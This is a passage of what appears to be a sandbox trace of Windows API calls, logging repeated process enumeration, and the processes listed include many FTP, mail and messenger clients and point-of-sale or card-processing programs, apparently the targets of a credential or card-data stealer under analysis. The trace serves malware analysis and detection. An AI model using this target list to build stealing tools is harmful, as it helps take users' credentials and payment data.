lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0127.330] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0127.333] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0127.336] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0127.339] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0127.342] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0127.347] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0127.350] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0127.354] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0127.357] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0127.359] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0127.362] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0127.365] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x121c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0127.368] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0127.402] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0127.406] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x123c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0127.417] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x124c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0127.421] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0127.433] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0127.436] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0127.439] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x127c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0127.442] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0127.444] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0127.449] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x129c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0127.452] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0127.454] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0127.457] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0127.459] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0127.462] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0127.464] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0127.467] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0127.470] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0127.473] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0127.475] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0127.477] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0127.479] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0127.482] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0127.484] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0127.486] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0127.489] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0127.493] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0127.495] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0127.497] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1380, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0127.499] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="sense_understand.exe")) returned 1 [0127.501] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="often-far-on.exe")) returned 1 [0127.504] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0127.506] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0127.508] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 0 [0127.511] CloseHandle (hObject=0x1e84) returned 1 [0127.512] Sleep (dwMilliseconds=0x64) [0127.635] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ff8 [0127.655] Process32First (in: hSnapshot=0x1ff8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0127.658] Process32Next (in: hSnapshot=0x1ff8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0127.660] Process32Next (in: hSnapshot=0x1ff8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0127.663] Process32Next (in: hSnapshot=0x1ff8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0127.665] Process32Next (in: hSnapshot=0x1ff8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0127.667] Process32Next (in: hSnapshot=0x1ff8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0127.669] Process32Next (in: hSnapshot=0x1ff8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0127.672] Process32Next (in: hSnapshot=0x1ff8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0127.674] Process32Next (in: hSnapshot=0x1ff8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0127.676] Process32Next (in: hSnapshot=0x1ff8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0127.679] Process32Next (in: hSnapshot=0x1ff8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0127.681] Process32Next (in: hSnapshot=0x1ff8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0127.684] Process32Next (in: hSnapshot=0x1ff8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0127.686] Process32Next (in: hSnapshot=0x1ff8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0127.689] Process32Next (in: hSnapshot=0x1ff8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0127.691] Process32Next (in: hSnapshot=0x1ff8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0127.693] Process32Next (in: hSnapshot=0x1ff8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0127.695] Process32Next (in: hSnapshot=0x1ff8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0127.697] Process32Next (in: hSnapshot=0x1ff8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0127.700] Process32Next (in: hSnapshot=0x1ff8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0127.702] Process32Next (in: hSnapshot=0x1ff8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0127.704] Process32Next (in: hSnapshot=0x1ff8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0127.707] Process32Next (in: hSnapshot=0x1ff8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0127.709] Process32Next (in: hSnapshot=0x1ff8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0127.711] Process32Next (in: hSnapshot=0x1ff8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0127.713] Process32Next (in: hSnapshot=0x1ff8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0127.716] Process32Next (in: hSnapshot=0x1ff8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0127.719] Process32Next (in: hSnapshot=0x1ff8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0127.721] Process32Next (in: hSnapshot=0x1ff8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0127.723] Process32Next (in: hSnapshot=0x1ff8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0127.725] Process32Next (in: hSnapshot=0x1ff8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0127.727] Process32Next (in: hSnapshot=0x1ff8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0127.730] Process32Next (in: hSnapshot=0x1ff8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0127.732] Process32Next (in: hSnapshot=0x1ff8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0127.734] Process32Next (in: hSnapshot=0x1ff8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x614, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, 